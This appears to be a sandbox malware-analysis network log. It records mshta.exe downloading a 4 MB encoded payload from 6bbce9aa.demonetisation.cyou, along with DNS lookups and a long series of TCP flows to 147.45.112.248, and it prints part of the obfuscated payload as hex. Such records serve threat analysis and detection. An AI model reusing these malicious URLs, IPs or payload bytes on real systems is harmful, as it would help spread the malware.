Dec 27, 2024 20:44:31.279141903 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.279166937 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.279207945 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.284106016 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.284120083 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.284182072 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.284204960 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.284248114 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.289887905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.289904118 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.289967060 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.289990902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.290040016 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.295553923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.295571089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.295633078 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.295658112 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.295696020 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.384460926 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.384478092 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.384536982 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.384561062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.384603024 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.390182972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.390202999 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.390254021 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.390265942 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.390299082 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.390321016 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.478641033 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.478665113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.478718042 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.478746891 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.478769064 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.478792906 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.485203981 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.485228062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.485289097 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.485296965 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.485328913 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.485346079 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.490670919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.490688086 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.490745068 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.490758896 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.490797043 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.496712923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.496728897 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.496795893 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.496810913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.496859074 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.501740932 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.501761913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.501807928 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.501816988 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.501842976 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.501858950 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.507307053 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.507328033 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.507385969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.507416964 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.507440090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.507467031 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.595232964 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.595263004 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.595319033 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.595331907 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.595355988 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.595374107 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.600897074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.600915909 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.600956917 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.600966930 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.601001024 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.601018906 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.689552069 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.689570904 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.689603090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.689654112 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.689662933 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.689706087 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.697315931 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.697335958 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.697381020 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.697398901 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.697423935 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.697442055 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.700692892 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.700710058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.700761080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.700768948 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.700800896 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.705717087 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.705734015 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.705771923 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.705779076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.705806971 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.705872059 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.711635113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.711654902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.711692095 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.711700916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.711735010 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.711760044 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.717175007 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.717190981 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.717233896 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.717241049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.717279911 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.717302084 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.809621096 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.809642076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.809730053 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.809735060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.809786081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.810115099 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.810142040 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.810158968 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.810168028 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.891182899 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.891213894 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:31.891375065 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.891443968 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:31.891449928 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:33.678080082 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:33.678613901 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:33.678622961 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:33.679215908 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:33.679219961 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:34.126384020 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:34.126442909 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:34.126503944 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:34.129184961 CET	49749	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:34.129208088 CET	443	49749	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:34.270416975 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:34.270468950 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:34.270540953 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:34.270863056 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:34.270878077 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.114942074 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.115509987 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.115552902 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.116058111 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.116067886 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.591521025 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.591598988 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.591653109 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.592240095 CET	49750	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.592255116 CET	443	49750	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.606451988 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.606508017 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:36.606575012 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.606832981 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:36.606848001 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.474181890 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.474915028 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.474941015 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.475476027 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.475481033 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.943094015 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.943160057 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.943208933 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.943420887 CET	49751	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.943435907 CET	443	49751	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.952893019 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.952933073 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.952997923 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.953531027 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.953545094 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.954471111 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.954518080 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.954608917 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.954720020 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.954734087 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.954957008 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.954966068 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.955013037 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.955179930 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.955193043 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.955641985 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.955657959 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:38.955723047 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.955892086 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:38.955905914 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.804769993 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.805413008 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.805432081 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.806035995 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.806041956 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.813848019 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.814116001 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.814143896 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.814678907 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.814682961 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.832951069 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.833246946 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.833261967 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.833935022 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.833939075 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.891683102 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.892047882 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.892066956 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:40.892632008 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:40.892637014 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.247395992 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.247467041 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.247551918 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.247730017 CET	49755	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.247747898 CET	443	49755	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.289329052 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.289398909 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.289444923 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.290148020 CET	49752	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.290162086 CET	443	49752	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.311214924 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.311336040 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.311408043 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.311588049 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.311625004 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.337125063 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.337188005 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.337234020 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.337331057 CET	49754	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.337337971 CET	443	49754	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.359184027 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.359236956 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:41.359306097 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.359410048 CET	49753	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:41.359426022 CET	443	49753	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.305301905 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.305922985 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:43.305938005 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.306615114 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:43.306621075 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.748262882 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.748317957 CET	443	49756	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:43.748390913 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:43.748574972 CET	49756	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:43.748589039 CET	443	49756	147.45.112.248	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:43:54.004549026 CET	56980	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:43:54.318598032 CET	53	56980	1.1.1.1	192.168.2.4
Dec 27, 2024 20:44:04.057480097 CET	59345	53	192.168.2.4	1.1.1.1
Dec 27, 2024 20:44:04.478323936 CET	53	59345	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 20:43:54.004549026 CET	192.168.2.4	1.1.1.1	0xae6a	Standard query (0)	6bbce9aa.demonetisation.cyou	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:44:04.057480097 CET	192.168.2.4	1.1.1.1	0x9368	Standard query (0)	1p.si	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 20:43:54.318598032 CET	1.1.1.1	192.168.2.4	0xae6a	No error (0)	6bbce9aa.demonetisation.cyou	172.67.153.170	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:43:54.318598032 CET	1.1.1.1	192.168.2.4	0xae6a	No error (0)	6bbce9aa.demonetisation.cyou	104.21.56.163	A (IP address)	IN (0x0001)	false
Dec 27, 2024 20:44:04.478323936 CET	1.1.1.1	192.168.2.4	0x9368	No error (0)	1p.si	147.45.112.248	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

6bbce9aa.demonetisation.cyou

1p.si

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.153.170	443	7372	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 19:43:55 UTC	325	OUT	GET /2l5hd077qf4vj HTTP/1.1 Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 6bbce9aa.demonetisation.cyou Connection: Keep-Alive
2024-12-27 19:43:56 UTC	511	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 19:43:56 GMT Content-Type: application/octet-stream Content-Length: 4066140 Connection: close Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8f8bcd664cb4f3bb-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1437&min_rtt=1424&rtt_var=561&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=907&delivery_rate=1902280&cwnd=80&unsent_bytes=0&cid=f39777602a4b9c68&ts=1200&x=0"
2024-12-27 19:43:56 UTC	858	IN	Data Raw: 0d 0a 2f 2a 0d 0a 0d 0a 63 79 38 49 59 33 4a 34 54 56 74 55 41 44 51 45 4a 53 36 6c 63 74 6f 6b 6e 4d 74 72 6d 58 44 6f 49 50 52 46 67 79 38 6a 48 37 64 4d 4f 47 5a 76 39 39 7a 76 51 63 48 78 49 57 58 6e 75 63 72 65 38 35 36 69 6a 6c 37 34 57 34 55 32 6e 49 64 4f 51 52 4e 67 32 51 6c 44 76 52 77 4e 64 51 69 30 49 7a 76 34 36 6a 46 4a 39 78 6a 64 66 6d 53 6c 54 6d 67 74 59 77 4c 6b 4a 58 5a 68 64 4f 50 57 74 30 50 35 4f 73 62 65 47 35 55 71 47 35 4b 32 4b 47 7a 43 61 6a 6b 49 50 79 48 34 43 6f 46 32 57 4b 77 31 31 62 42 79 62 55 4f 32 56 35 56 6c 34 62 65 75 41 58 57 53 57 36 53 7a 31 49 65 33 36 71 54 5a 4e 75 4c 69 6a 59 4f 75 7a 44 75 6d 4f 37 32 66 39 58 53 54 35 6a 42 4f 78 51 37 42 50 46 6f 65 39 5a 4d 38 55 58 72 44 6a 31 30 76 74 55 67 76 78 56 6c Data Ascii: /*cy8IY3J4TVtUADQEJS6lctoknMtrmXDoIPRFgy8jH7dMOGZv99zvQcHxIWXnucre856ijl74W4U2nIdOQRNg2QlDvRwNdQi0Izv46jFJ9xjdfmSlTmgtYwLkJXZhdOPWt0P5OsbeG5UqG5K2KGzCajkIPyH4CoF2WKw11bBybUO2V5Vl4beuAXWSW6Sz1Ie36qTZNuLijYOuzDumO72f9XST5jBOxQ7BPFoe9ZM8UXrDj10vtUgvxVl
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 55 58 48 69 31 53 75 65 35 32 57 61 7a 43 58 45 58 36 63 53 4f 4d 6b 36 68 38 46 4e 52 67 41 74 68 42 45 6e 43 42 56 33 66 31 58 30 76 68 67 39 7a 74 47 47 6d 64 51 70 78 5a 30 66 36 37 42 68 77 4d 56 44 6d 78 39 5a 6f 68 78 77 71 78 70 69 4a 30 73 33 41 69 72 4f 65 6d 75 6c 4e 6e 55 67 4b 72 70 46 58 77 39 66 59 32 6b 77 5a 74 6e 46 64 68 58 71 4d 36 38 6c 52 75 49 44 74 65 58 31 46 4e 56 49 41 55 72 76 4f 64 38 55 65 76 41 45 39 4d 6e 71 45 65 42 79 31 44 4d 54 32 51 6a 54 36 31 44 30 36 6c 77 5a 5a 37 45 59 42 62 41 45 4d 56 31 30 72 31 50 6d 4e 50 4c 57 43 4a 36 31 5a 39 41 6f 74 66 69 49 54 30 69 67 52 44 63 35 71 36 39 55 69 78 6d 35 72 66 43 4d 39 67 44 62 6d 6f 54 6e 74 56 66 72 64 30 4d 68 6f 48 36 74 72 31 74 70 30 53 6f 7a 54 6c 62 70 32 42 32 Data Ascii: UXHi1Sue52WazCXEX6cSOMk6h8FNRgAthBEnCBV3f1X0vhg9ztGGmdQpxZ0f67BhwMVDmx9ZohxwqxpiJ0s3AirOemulNnUgKrpFXw9fY2kwZtnFdhXqM68lRuIDteX1FNVIAUrvOd8UevAE9MnqEeBy1DMT2QjT61D06lwZZ7EYBbAEMV10r1PmNPLWCJ61Z9AotfiIT0igRDc5q69Uixm5rfCM9gDbmoTntVfrd0MhoH6tr1tp0SozTlbp2B2
2024-12-27 19:43:56 UTC	1369	IN	Data Raw: 34 4c 36 4e 54 34 6d 30 79 67 53 50 77 65 6e 37 37 4a 6b 36 72 30 38 79 68 42 71 76 35 4a 31 34 51 7a 36 57 6d 6e 45 4d 57 6f 61 64 35 79 49 6c 37 62 31 54 63 41 42 7a 58 70 43 38 41 43 48 6f 6e 69 35 58 63 72 4a 5a 6d 74 4a 46 41 51 44 4c 34 56 36 4e 41 50 65 38 6d 63 75 30 38 59 54 6b 59 53 42 49 58 50 67 32 6c 6c 54 6a 34 41 49 70 45 63 52 31 51 6b 64 30 37 62 77 50 55 75 34 46 72 39 67 31 4f 6d 63 39 49 44 4b 30 4d 32 58 56 78 41 71 62 64 6d 4c 62 6e 62 4c 5a 4d 51 50 43 6e 48 79 39 33 6e 35 79 74 73 71 6d 62 38 56 69 65 56 46 4f 72 56 6a 36 42 78 74 4b 50 31 55 64 69 41 74 79 6b 6a 78 53 4e 6b 53 38 4a 7a 62 57 5a 78 46 50 56 74 74 77 51 68 72 79 7a 33 59 31 72 48 57 75 58 66 65 65 70 73 4d 51 6b 71 7a 47 32 6c 39 6b 65 30 61 64 64 63 71 41 50 6f 56 Data Ascii: 4L6NT4m0ygSPwen77Jk6r08yhBqv5J14Qz6WmnEMWoad5yIl7b1TcABzXpC8ACHoni5XcrJZmtJFAQDL4V6NAPe8mcu08YTkYSBIXPg2llTj4AIpEcR1Qkd07bwPUu4Fr9g1Omc9IDK0M2XVxAqbdmLbnbLZMQPCnHy93n5ytsqmb8VieVFOrVj6BxtKP1UdiAtykjxSNkS8JzbWZxFPVttwQhryz3Y1rHWuXfeepsMQkqzG2l9ke0addcqAPoV
